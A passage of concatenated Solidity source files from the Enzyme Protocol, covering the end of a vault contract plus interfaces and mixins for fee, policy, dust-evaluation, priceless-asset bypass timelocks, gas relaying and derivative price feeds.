amountsToTransfer, address[] memory assetsToReceive ) = abi.decode(_actionData, (address, bytes, address[], uint256[], address[])); __callOnExternalPosition( externalPosition, callOnExternalPositionActionData, assetsToTransfer, amountsToTransfer, assetsToReceive ); } /// @dev Helper to decode actionData and execute VaultAction.MintShares function __executeVaultActionMintShares(bytes memory _actionData) private { (address target, uint256 amount) = abi.decode(_actionData, (address, uint256)); __mint(target, amount); } /// @dev Helper to decode actionData and execute VaultAction.RemoveExternalPosition function __executeVaultActionRemoveExternalPosition(bytes memory _actionData) private { __removeExternalPosition(abi.decode(_actionData, (address))); } /// @dev Helper to decode actionData and execute VaultAction.RemoveTrackedAsset function __executeVaultActionRemoveTrackedAsset(bytes memory _actionData) private { __removeTrackedAsset(abi.decode(_actionData, (address))); } /// @dev Helper to decode actionData and execute VaultAction.TransferShares function __executeVaultActionTransferShares(bytes memory _actionData) private { (address from, address to, uint256 amount) = abi.decode( _actionData, (address, address, uint256) ); __transfer(from, to, amount); } /// @dev Helper to decode actionData and execute VaultAction.WithdrawAssetTo function __executeVaultActionWithdrawAssetTo(bytes memory _actionData) private { (address asset, address target, uint256 amount) = abi.decode( _actionData, (address, address, uint256) ); __withdrawAssetTo(asset, target, amount); } /////////////////// // VAULT ACTIONS // /////////////////// /// @dev Helper to track a new active external position function __addExternalPosition(address _externalPosition) private { if (!isActiveExternalPosition(_externalPosition)) { __validatePositionsLimit(); externalPositionToIsActive[_externalPosition] = true; activeExternalPositions.push(_externalPosition); emit ExternalPositionAdded(_externalPosition); } } /// @dev Helper to add a tracked asset function __addTrackedAsset(address _asset) private notShares(_asset) { if (!isTrackedAsset(_asset)) { __validatePositionsLimit(); assetToIsTracked[_asset] = true; trackedAssets.push(_asset); emit TrackedAssetAdded(_asset); } } /// @dev Helper to grant an allowance to a spender to use a vault asset function __approveAssetSpender( address _asset, address _target, uint256 _amount ) private notShares(_asset) { ERC20 assetContract = ERC20(_asset); if (assetContract.allowance(address(this), _target) > 0) { assetContract.safeApprove(_target, 0); } assetContract.safeApprove(_target, _amount); } /// @dev Helper to make a call on a external position contract /// @param _externalPosition The external position to call /// @param _actionData The action data for the call /// @param _assetsToTransfer The assets to transfer to the external position /// @param _amountsToTransfer The amount of assets to be transferred to the external position /// @param _assetsToReceive The assets that will be received from the call function __callOnExternalPosition( address _externalPosition, bytes memory _actionData, address[] memory _assetsToTransfer, uint256[] memory _amountsToTransfer, address[] memory _assetsToReceive ) private { require( isActiveExternalPosition(_externalPosition), "__callOnExternalPosition: Not an active external position" ); for (uint256 i; i < _assetsToTransfer.length; i++) { __withdrawAssetTo(_assetsToTransfer[i], _externalPosition, _amountsToTransfer[i]); } IExternalPosition(_externalPosition).receiveCallFromVault(_actionData); for (uint256 i; i < _assetsToReceive.length; i++) { __addTrackedAsset(_assetsToReceive[i]); } } /// @dev Helper to the get the Vault's balance of a given asset function __getAssetBalance(address _asset) private view returns (uint256 balance_) { return ERC20(_asset).balanceOf(address(this)); } /// @dev Helper to remove a external position from the vault function __removeExternalPosition(address _externalPosition) private { if (isActiveExternalPosition(_externalPosition)) { externalPositionToIsActive[_externalPosition] = false; activeExternalPositions.removeStorageItem(_externalPosition); emit ExternalPositionRemoved(_externalPosition); } } /// @dev Helper to remove a tracked asset function __removeTrackedAsset(address _asset) private { if (isTrackedAsset(_asset)) { assetToIsTracked[_asset] = false; trackedAssets.removeStorageItem(_asset); emit TrackedAssetRemoved(_asset); } } /// @dev Helper to validate that the positions limit has not been reached function __validatePositionsLimit() private view { require( trackedAssets.length + activeExternalPositions.length < getPositionsLimit(), "__validatePositionsLimit: Limit exceeded" ); } /// @dev Helper to withdraw an asset from the vault to a specified recipient function __withdrawAssetTo( address _asset, address _target, uint256 _amount ) private notShares(_asset) { ERC20(_asset).safeTransfer(_target, _amount); emit AssetWithdrawn(_asset, _target, _amount); } //////////////////////////// // SHARES ERC20 OVERRIDES // //////////////////////////// /// @notice Gets the `symbol` value of the shares token /// @return symbol_ The `symbol` value /// @dev Defers the shares symbol value to the Dispatcher contract if not set locally function symbol() public view override returns (string memory symbol_) { symbol_ = sharesSymbol; if (bytes(symbol_).length == 0) { symbol_ = IDispatcher(creator).getSharesTokenSymbol(); } return symbol_; } /// @dev Standard implementation of ERC20's transfer(). /// Overridden to allow arbitrary logic in ComptrollerProxy prior to transfer. function transfer(address _recipient, uint256 _amount) public override returns (bool success_) { __invokePreTransferSharesHook(msg.sender, _recipient, _amount); return super.transfer(_recipient, _amount); } /// @dev Standard implementation of ERC20's transferFrom(). /// Overridden to allow arbitrary logic in ComptrollerProxy prior to transfer. function transferFrom( address _sender, address _recipient, uint256 _amount ) public override returns (bool success_) { __invokePreTransferSharesHook(_sender, _recipient, _amount); return super.transferFrom(_sender, _recipient, _amount); } /// @dev Helper to call the relevant preTransferShares hook function __invokePreTransferSharesHook( address _sender, address _recipient, uint256 _amount ) private { if (sharesAreFreelyTransferable()) { IComptroller(accessor).preTransferSharesHookFreelyTransferable(_sender); } else { IComptroller(accessor).preTransferSharesHook(_sender, _recipient, _amount); } } /////////////////// // STATE GETTERS // /////////////////// /// @notice Checks whether an account can manage assets /// @param _who The account to check /// @return canManageAssets_ True if the account can manage assets function canManageAssets(address _who) external view override returns (bool canManageAssets_) { return _who == getOwner() || isAssetManager(_who); } /// @notice Checks whether an account can use gas relaying /// @param _who The account to check /// @return canRelayCalls_ True if the account can use gas relaying on this fund function canRelayCalls(address _who) external view override returns (bool canRelayCalls_) { return _who == getOwner() || isAssetManager(_who) || _who == getMigrator(); } /// @notice Gets the `accessor` variable /// @return accessor_ The `accessor` variable value function getAccessor() public view override returns (address accessor_) { return accessor; } /// @notice Gets the `creator` variable /// @return creator_ The `creator` variable value function getCreator() external view returns (address creator_) { return creator; } /// @notice Gets the `migrator` variable /// @return migrator_ The `migrator` variable value function getMigrator() public view returns (address migrator_) { return migrator; } /// @notice Gets the account that is nominated to be the next owner of this contract /// @return nominatedOwner_ The account that is nominated to be the owner function getNominatedOwner() external view returns (address nominatedOwner_) { return nominatedOwner; } /// @notice Gets the `activeExternalPositions` variable /// @return activeExternalPositions_ The `activeExternalPositions` variable value function getActiveExternalPositions() external view override returns (address[] memory activeExternalPositions_) { return activeExternalPositions; } /// @notice Gets the `trackedAssets` variable /// @return trackedAssets_ The `trackedAssets` variable value function getTrackedAssets() external view override returns (address[] memory trackedAssets_) { return trackedAssets; } // PUBLIC FUNCTIONS /// @notice Gets the `EXTERNAL_POSITION_MANAGER` variable /// @return externalPositionManager_ The `EXTERNAL_POSITION_MANAGER` variable value function getExternalPositionManager() public view returns (address externalPositionManager_) { return EXTERNAL_POSITION_MANAGER; } /// @notice Gets the vaults fund deployer /// @return fundDeployer_ The fund deployer contract associated with this vault function getFundDeployer() public view returns (address fundDeployer_) { return IDispatcher(creator).getFundDeployerForVaultProxy(address(this)); } /// @notice Gets the `MLN_BURNER` variable /// @return mlnBurner_ The `MLN_BURNER` variable value function getMlnBurner() public view returns (address mlnBurner_) { return MLN_BURNER; } /// @notice Gets the `MLN_TOKEN` variable /// @return mlnToken_ The `MLN_TOKEN` variable value function getMlnToken() public view returns (address mlnToken_) { return MLN_TOKEN; } /// @notice Gets the `owner` variable /// @return owner_ The `owner` variable value function getOwner() public view override returns (address owner_) { return owner; } /// @notice Gets the `POSITIONS_LIMIT` variable /// @return positionsLimit_ The `POSITIONS_LIMIT` variable value function getPositionsLimit() public view returns (uint256 positionsLimit_) { return POSITIONS_LIMIT; } /// @notice Gets the `PROTOCOL_FEE_RESERVE` variable /// @return protocolFeeReserve_ The `PROTOCOL_FEE_RESERVE` variable value function getProtocolFeeReserve() public view returns (address protocolFeeReserve_) { return PROTOCOL_FEE_RESERVE; } /// @notice Gets the `PROTOCOL_FEE_TRACKER` variable /// @return protocolFeeTracker_ The `PROTOCOL_FEE_TRACKER` variable value function getProtocolFeeTracker() public view returns (address protocolFeeTracker_) { return PROTOCOL_FEE_TRACKER; } /// @notice Check whether an external position is active on the vault /// @param _externalPosition The externalPosition to check /// @return isActiveExternalPosition_ True if the address is an active external position on the vault function isActiveExternalPosition(address _externalPosition) public view override returns (bool isActiveExternalPosition_) { return externalPositionToIsActive[_externalPosition]; } /// @notice Checks whether an account is an allowed asset manager /// @param _who The account to check /// @return isAssetManager_ True if the account is an allowed asset manager function isAssetManager(address _who) public view returns (bool isAssetManager_) { return accountToIsAssetManager[_who]; } /// @notice Checks whether an address is a tracked asset of the vault /// @param _asset The address to check /// @return isTrackedAsset_ True if the address is a tracked asset function isTrackedAsset(address _asset) public view override returns (bool isTrackedAsset_) { return assetToIsTracked[_asset]; } /// @notice Checks whether shares are (permanently) freely transferable /// @return sharesAreFreelyTransferable_ True if shares are (permanently) freely transferable function sharesAreFreelyTransferable() public view override returns (bool sharesAreFreelyTransferable_) { return freelyTransferableShares; } /// @notice Gets the `WETH_TOKEN` variable /// @return wethToken_ The `WETH_TOKEN` variable value function getWethToken() public view returns (address wethToken_) { return WETH_TOKEN; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExtension Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all extensions interface IExtension { function activateForFund(bool _isMigration) external; function deactivateForFund() external; function receiveCallFromComptroller( address _caller, uint256 _actionId, bytes calldata _callArgs ) external; function setConfigForFund( address _comptrollerProxy, address _vaultProxy, bytes calldata _configData ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExternalPositionManager interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the ExternalPositionManager interface IExternalPositionManager { struct ExternalPositionTypeInfo { address parser; address lib; } enum ExternalPositionManagerActions { CreateExternalPosition, CallOnExternalPosition, RemoveExternalPosition, ReactivateExternalPosition } function getExternalPositionLibForType(uint256) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title FeeManager Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the FeeManager interface IFeeManager { // No fees for the current release are implemented post-redeemShares enum FeeHook {Continuous, PreBuyShares, PostBuyShares, PreRedeemShares} enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding} function invokeHook( FeeHook, bytes calldata, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./IPolicyManager.sol"; /// @title Policy Interface /// @author Enzyme Council <[email protected]> interface IPolicy { function activateForFund(address _comptrollerProxy) external; function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external; function canDisable() external pure returns (bool canDisable_); function identifier() external pure returns (string memory identifier_); function implementedHooks() external pure returns (IPolicyManager.PolicyHook[] memory implementedHooks_); function updateFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external; function validateRule( address _comptrollerProxy, IPolicyManager.PolicyHook _hook, bytes calldata _encodedArgs ) external returns (bool isValid_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title PolicyManager Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the PolicyManager interface IPolicyManager { // When updating PolicyHook, also update these functions in PolicyManager: // 1. __getAllPolicyHooks() // 2. __policyHookRestrictsCurrentInvestorActions() enum PolicyHook { PostBuyShares, PostCallOnIntegration, PreTransferShares, RedeemSharesForSpecificAssets, AddTrackedAssets, RemoveTrackedAssets, CreateExternalPosition, PostCallOnExternalPosition, RemoveExternalPosition, ReactivateExternalPosition } function validatePolicies( address, PolicyHook, bytes calldata ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../core/fund/comptroller/ComptrollerLib.sol"; import "../utils/DustEvaluatorMixin.sol"; import "../utils/PolicyBase.sol"; import "../utils/PricelessAssetBypassMixin.sol"; /// @title OnlyRemoveDustExternalPositionPolicy Contract /// @author Enzyme Council <[email protected]> /// @notice A policy that only allows removing external positions whose value can be considered negligible /// @dev Assets that do not have a valid price can be signaled via PricelessAssetBypassMixin to be valued at `0` contract OnlyRemoveDustExternalPositionPolicy is PolicyBase, DustEvaluatorMixin, PricelessAssetBypassMixin { constructor( address _policyManager, address _fundDeployer, address _valueInterpreter, address _wethToken, uint256 _pricelessAssetBypassTimelock, uint256 _pricelessAssetBypassTimeLimit ) public PolicyBase(_policyManager) DustEvaluatorMixin(_fundDeployer) PricelessAssetBypassMixin( _valueInterpreter, _wethToken, _pricelessAssetBypassTimelock, _pricelessAssetBypassTimeLimit ) {} // EXTERNAL FUNCTIONS /// @notice Add the initial policy settings for a fund function addFundSettings(address, bytes calldata) external override { // Not implemented } /// @notice Provides a constant string identifier for a policy /// @return identifier_ The identifier string function identifier() external pure override returns (string memory identifier_) { return "ONLY_REMOVE_DUST_EXTERNAL_POSITION"; } /// @notice Gets the implemented PolicyHooks for a policy /// @return implementedHooks_ The implemented PolicyHooks function implementedHooks() external pure override returns (IPolicyManager.PolicyHook[] memory implementedHooks_) { implementedHooks_ = new IPolicyManager.PolicyHook[](1); implementedHooks_[0] = IPolicyManager.PolicyHook.RemoveExternalPosition; return implementedHooks_; } /// @notice Apply the rule with the specified parameters of a PolicyHook /// @param _comptrollerProxy The fund's ComptrollerProxy address /// @param _encodedArgs Encoded args with which to validate the rule /// @return isValid_ True if the rule passes /// @dev onlyPolicyManager validation not necessary as no state is updated, /// but is cheap and nice-to-have since an event is fired function validateRule( address _comptrollerProxy, IPolicyManager.PolicyHook, bytes calldata _encodedArgs ) external override onlyPolicyManager returns (bool isValid_) { (, address externalPosition) = __decodeRemoveExternalPositionValidationData(_encodedArgs); return __isDust(__calcExternalPositionValue(_comptrollerProxy, externalPosition)); } // PRIVATE FUNCTIONS // @dev Helper for calculating an external position's value function __calcExternalPositionValue(address _comptrollerProxy, address _externalPosition) private returns (uint256 value_) { ( address[] memory managedAssets, uint256[] memory managedAssetBalances ) = IExternalPosition(_externalPosition).getManagedAssets(); uint256 managedAssetsValue = __calcTotalValueExlcudingBypassablePricelessAssets( _comptrollerProxy, managedAssets, managedAssetBalances, getPricelessAssetBypassWethToken() ); (address[] memory debtAssets, uint256[] memory debtAssetBalances) = IExternalPosition( _externalPosition ) .getDebtAssets(); uint256 debtAssetsValue = __calcTotalValueExlcudingBypassablePricelessAssets( _comptrollerProxy, debtAssets, debtAssetBalances, getPricelessAssetBypassWethToken() ); if (managedAssetsValue > debtAssetsValue) { return managedAssetsValue.sub(debtAssetsValue); } return 0; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../utils/FundDeployerOwnerMixin.sol"; /// @title DustEvaluatorMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin used to evaluate where an amount of a given asset can be considered "dust," /// i.e., of negligible value abstract contract DustEvaluatorMixin is FundDeployerOwnerMixin { event DustToleranceInWethSet(uint256 nextDustToleranceInWeth); uint256 private dustToleranceInWeth; constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {} /// @notice Sets the dustToleranceInWeth variable value /// @param _nextDustToleranceInWeth The next dustToleranceInWeth value function setDustToleranceInWeth(uint256 _nextDustToleranceInWeth) external onlyFundDeployerOwner { dustToleranceInWeth = _nextDustToleranceInWeth; emit DustToleranceInWethSet(_nextDustToleranceInWeth); } /// @dev Helper to evaluate whether an amount of WETH is dust function __isDust(uint256 _wethAmount) internal view returns (bool isDust_) { return _wethAmount <= getDustToleranceInWeth(); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `dustToleranceInWeth` variable /// @return dustToleranceInWeth_ The `dustToleranceInWeth` variable value function getDustToleranceInWeth() public view returns (uint256 dustToleranceInWeth_) { return dustToleranceInWeth; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../IPolicy.sol"; /// @title PolicyBase Contract /// @author Enzyme Council <[email protected]> /// @notice Abstract base contract for all policies abstract contract PolicyBase is IPolicy { address internal immutable POLICY_MANAGER; modifier onlyPolicyManager { require(msg.sender == POLICY_MANAGER, "Only the PolicyManager can make this call"); _; } constructor(address _policyManager) public { POLICY_MANAGER = _policyManager; } /// @notice Validates and initializes a policy as necessary prior to fund activation /// @dev Unimplemented by default, can be overridden by the policy function activateForFund(address) external virtual override { return; } /// @notice Whether or not the policy can be disabled /// @return canDisable_ True if the policy can be disabled /// @dev False by default, can be overridden by the policy function canDisable() external pure virtual override returns (bool canDisable_) { return false; } /// @notice Updates the policy settings for a fund /// @dev Disallowed by default, can be overridden by the policy function updateFundSettings(address, bytes calldata) external virtual override { revert("updateFundSettings: Updates not allowed for this policy"); } ////////////////////////////// // VALIDATION DATA DECODING // ////////////////////////////// /// @dev Helper to parse validation arguments from encoded data for AddTrackedAssets policy hook function __decodeAddTrackedAssetsValidationData(bytes memory _validationData) internal pure returns (address caller_, address[] memory assets_) { return abi.decode(_validationData, (address, address[])); } /// @dev Helper to parse validation arguments from encoded data for CreateExternalPosition policy hook function __decodeCreateExternalPositionValidationData(bytes memory _validationData) internal pure returns ( address caller_, uint256 typeId_, bytes memory initializationData_ ) { return abi.decode(_validationData, (address, uint256, bytes)); } /// @dev Helper to parse validation arguments from encoded data for PreTransferShares policy hook function __decodePreTransferSharesValidationData(bytes memory _validationData) internal pure returns ( address sender_, address recipient_, uint256 amount_ ) { return abi.decode(_validationData, (address, address, uint256)); } /// @dev Helper to parse validation arguments from encoded data for PostBuyShares policy hook function __decodePostBuySharesValidationData(bytes memory _validationData) internal pure returns ( address buyer_, uint256 investmentAmount_, uint256 sharesIssued_, uint256 gav_ ) { return abi.decode(_validationData, (address, uint256, uint256, uint256)); } /// @dev Helper to parse validation arguments from encoded data for PostCallOnExternalPosition policy hook function __decodePostCallOnExternalPositionValidationData(bytes memory _validationData) internal pure returns ( address caller_, address externalPosition_, address[] memory assetsToTransfer_, uint256[] memory amountsToTransfer_, address[] memory assetsToReceive_, bytes memory encodedActionData_ ) { return abi.decode( _validationData, (address, address, address[], uint256[], address[], bytes) ); } /// @dev Helper to parse validation arguments from encoded data for PostCallOnIntegration policy hook function __decodePostCallOnIntegrationValidationData(bytes memory _validationData) internal pure returns ( address caller_, address adapter_, bytes4 selector_, address[] memory incomingAssets_, uint256[] memory incomingAssetAmounts_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_ ) { return abi.decode( _validationData, (address, address, bytes4, address[], uint256[], address[], uint256[]) ); } /// @dev Helper to parse validation arguments from encoded data for ReactivateExternalPosition policy hook function __decodeReactivateExternalPositionValidationData(bytes memory _validationData) internal pure returns (address caller_, address externalPosition_) { return abi.decode(_validationData, (address, address)); } /// @dev Helper to parse validation arguments from encoded data for RedeemSharesForSpecificAssets policy hook function __decodeRedeemSharesForSpecificAssetsValidationData(bytes memory _validationData) internal pure returns ( address redeemer_, address recipient_, uint256 sharesToRedeemPostFees_, address[] memory assets_, uint256[] memory assetAmounts_, uint256 gavPreRedeem_ ) { return abi.decode( _validationData, (address, address, uint256, address[], uint256[], uint256) ); } /// @dev Helper to parse validation arguments from encoded data for RemoveExternalPosition policy hook function __decodeRemoveExternalPositionValidationData(bytes memory _validationData) internal pure returns (address caller_, address externalPosition_) { return abi.decode(_validationData, (address, address)); } /// @dev Helper to parse validation arguments from encoded data for RemoveTrackedAssets policy hook function __decodeRemoveTrackedAssetsValidationData(bytes memory _validationData) internal pure returns (address caller_, address[] memory assets_) { return abi.decode(_validationData, (address, address[])); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `POLICY_MANAGER` variable value /// @return policyManager_ The `POLICY_MANAGER` variable value function getPolicyManager() external view returns (address policyManager_) { return POLICY_MANAGER; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../../../core/fund/comptroller/ComptrollerLib.sol"; import "../../../../core/fund/vault/VaultLib.sol"; import "../../../../infrastructure/value-interpreter/ValueInterpreter.sol"; /// @title PricelessAssetBypassMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin that facilitates timelocked actions for an asset that does not have a valid price abstract contract PricelessAssetBypassMixin { using SafeMath for uint256; event PricelessAssetBypassed(address indexed comptrollerProxy, address indexed asset); event PricelessAssetTimelockStarted(address indexed comptrollerProxy, address indexed asset); uint256 private immutable PRICELESS_ASSET_BYPASS_TIMELOCK; uint256 private immutable PRICELESS_ASSET_BYPASS_TIME_LIMIT; address private immutable PRICELESS_ASSET_BYPASS_VALUE_INTERPRETER; address private immutable PRICELESS_ASSET_BYPASS_WETH_TOKEN; mapping(address => mapping(address => uint256)) private comptrollerProxyToAssetToBypassWindowStart; constructor( address _valueInterpreter, address _wethToken, uint256 _timelock, uint256 _timeLimit ) public { PRICELESS_ASSET_BYPASS_TIMELOCK = _timelock; PRICELESS_ASSET_BYPASS_TIME_LIMIT = _timeLimit; PRICELESS_ASSET_BYPASS_VALUE_INTERPRETER = _valueInterpreter; PRICELESS_ASSET_BYPASS_WETH_TOKEN = _wethToken; } // EXTERNAL FUNCTIONS /// @notice Starts the timelock period for an asset without a valid price /// @param _asset The asset for which to start the timelock period /// @dev This function must be called via ComptrollerProxy.vaultCallOnContract(). /// This allows the function to be gas relay-able. /// It also means that the originator must be the owner. function startAssetBypassTimelock(address _asset) external { // No need to validate whether the VaultProxy is an Enzyme contract address comptrollerProxy = VaultLib(msg.sender).getAccessor(); require( msg.sender == ComptrollerLib(comptrollerProxy).getVaultProxy(), "startAssetBypassTimelock: Sender is not the VaultProxy of the associated ComptrollerProxy" ); try ValueInterpreter(getPricelessAssetBypassValueInterpreter()).calcCanonicalAssetValue( _asset, 1, // Any value >0 will attempt to retrieve a rate getPricelessAssetBypassWethToken() // Any valid asset would do ) { revert("startAssetBypassTimelock: Asset has a price"); } catch { comptrollerProxyToAssetToBypassWindowStart[comptrollerProxy][_asset] = block .timestamp .add(getPricelessAssetBypassTimelock()); emit PricelessAssetTimelockStarted(comptrollerProxy, _asset); } } // PUBLIC FUNCTIONS /// @notice Checks whether an asset is bypassable (if still without a valid price) for a given fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset for which to check if it is bypassable /// @return isBypassable_ True if the asset is bypassable function assetIsBypassableForFund(address _comptrollerProxy, address _asset) public view returns (bool isBypassable_) { uint256 windowStart = getAssetBypassWindowStartForFund(_comptrollerProxy, _asset); return windowStart <= block.timestamp && windowStart.add(getPricelessAssetBypassTimeLimit()) >= block.timestamp; } // INTERNAL FUNCTIONS /// @dev Helper to execute __calcValueExcludingBypassablePricelessAsset() for an array of base asset amounts function __calcTotalValueExlcudingBypassablePricelessAssets( address _comptrollerProxy, address[] memory _baseAssets, uint256[] memory _baseAssetAmounts, address _quoteAsset ) internal returns (uint256 value_) { for (uint256 i; i < _baseAssets.length; i++) { value_ = value_.add( __calcValueExcludingBypassablePricelessAsset( _comptrollerProxy, _baseAssets[i], _baseAssetAmounts[i], _quoteAsset ) ); } } /// @dev Helper to calculate the value of a base asset amount in terms of a quote asset, /// returning a value of `0` for an asset without a valid price that is within its bypass window function __calcValueExcludingBypassablePricelessAsset( address _comptrollerProxy, address _baseAsset, uint256 _baseAssetAmount, address _quoteAsset ) internal returns (uint256 value_) { try ValueInterpreter(getPricelessAssetBypassValueInterpreter()).calcCanonicalAssetValue( _baseAsset, _baseAssetAmount, _quoteAsset ) returns (uint256 result) { return result; } catch { require( assetIsBypassableForFund(_comptrollerProxy, _baseAsset), "__calcValueExcludingBypassablePricelessAsset: Invalid asset not bypassable" ); emit PricelessAssetBypassed(_comptrollerProxy, _baseAsset); } return 0; } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the timestamp from which an asset without a valid price can be considered to be valued at `0` /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset /// @return windowStart_ The timestamp function getAssetBypassWindowStartForFund(address _comptrollerProxy, address _asset) public view returns (uint256 windowStart_) { return comptrollerProxyToAssetToBypassWindowStart[_comptrollerProxy][_asset]; } /// @notice Gets the `PRICELESS_ASSET_BYPASS_TIME_LIMIT` variable /// @return timeLimit_ The `PRICELESS_ASSET_BYPASS_TIME_LIMIT` variable value function getPricelessAssetBypassTimeLimit() public view returns (uint256 timeLimit_) { return PRICELESS_ASSET_BYPASS_TIME_LIMIT; } /// @notice Gets the `PRICELESS_ASSET_BYPASS_TIMELOCK` variable /// @return timelock_ The `PRICELESS_ASSET_BYPASS_TIMELOCK` variable value function getPricelessAssetBypassTimelock() public view returns (uint256 timelock_) { return PRICELESS_ASSET_BYPASS_TIMELOCK; } /// @notice Gets the `PRICELESS_ASSET_BYPASS_VALUE_INTERPRETER` variable /// @return valueInterpreter_ The `PRICELESS_ASSET_BYPASS_VALUE_INTERPRETER` variable value function getPricelessAssetBypassValueInterpreter() public view returns (address valueInterpreter_) { return PRICELESS_ASSET_BYPASS_VALUE_INTERPRETER; } /// @notice Gets the `PRICELESS_ASSET_BYPASS_WETH_TOKEN` variable /// @return wethToken_ The `PRICELESS_ASSET_BYPASS_WETH_TOKEN` variable value function getPricelessAssetBypassWethToken() public view returns (address wethToken_) { return PRICELESS_ASSET_BYPASS_WETH_TOKEN; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ import "../../utils/beacon-proxy/IBeaconProxyFactory.sol"; import "./IGasRelayPaymaster.sol"; pragma solidity 0.6.12; /// @title GasRelayRecipientMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin that enables receiving GSN-relayed calls /// @dev IMPORTANT: Do not use storage var in this contract, /// unless it is no longer inherited by the VaultLib abstract contract GasRelayRecipientMixin { address internal immutable GAS_RELAY_PAYMASTER_FACTORY; constructor(address _gasRelayPaymasterFactory) internal { GAS_RELAY_PAYMASTER_FACTORY = _gasRelayPaymasterFactory; } /// @dev Helper to parse the canonical sender of a tx based on whether it has been relayed function __msgSender() internal view returns (address payable canonicalSender_) { if (msg.data.length >= 24 && msg.sender == getGasRelayTrustedForwarder()) { assembly { canonicalSender_ := shr(96, calldataload(sub(calldatasize(), 20))) } return canonicalSender_; } return msg.sender; } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `GAS_RELAY_PAYMASTER_FACTORY` variable /// @return gasRelayPaymasterFactory_ The `GAS_RELAY_PAYMASTER_FACTORY` variable value function getGasRelayPaymasterFactory() public view returns (address gasRelayPaymasterFactory_) { return GAS_RELAY_PAYMASTER_FACTORY; } /// @notice Gets the trusted forwarder for GSN relaying /// @return trustedForwarder_ The trusted forwarder function getGasRelayTrustedForwarder() public view returns (address trustedForwarder_) { return IGasRelayPaymaster( IBeaconProxyFactory(getGasRelayPaymasterFactory()).getCanonicalLib() ) .trustedForwarder(); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../../interfaces/IGsnPaymaster.sol"; /// @title IGasRelayPaymaster Interface /// @author Enzyme Council <[email protected]> interface IGasRelayPaymaster is IGsnPaymaster { function deposit() external; function withdrawBalance() external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IGasRelayPaymasterDepositor Interface /// @author Enzyme Council <[email protected]> interface IGasRelayPaymasterDepositor { function pullWethForGasRelayer(uint256) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./IDerivativePriceFeed.sol"; /// @title AggregatedDerivativePriceFeedMixin Contract /// @author Enzyme Council <[email protected]> /// @notice Aggregates multiple derivative price feeds (e.g., Compound, Chai) and dispatches /// rate requests to the appropriate feed abstract contract AggregatedDerivativePriceFeedMixin { event DerivativeAdded(address indexed derivative, address priceFeed); event DerivativeRemoved(address indexed derivative); mapping(address => address) private derivativeToPriceFeed; /// @notice Gets the rates for 1 unit of the derivative to its underlying assets /// @param _derivative The derivative for which to get the rates /// @return underlyings_ The underlying assets for the _derivative /// @return underlyingAmounts_ The rates for the _derivative to the underlyings_ function __calcUnderlyingValues(address _derivative, uint256 _derivativeAmount) internal returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_) { address derivativePriceFeed = getPriceFeedForDerivative(_derivative); require( derivativePriceFeed != address(0), "calcUnderlyingValues: _derivative is not supported" ); return IDerivativePriceFeed(derivativePriceFeed).calcUnderlyingValues( _derivative, _derivativeAmount ); } 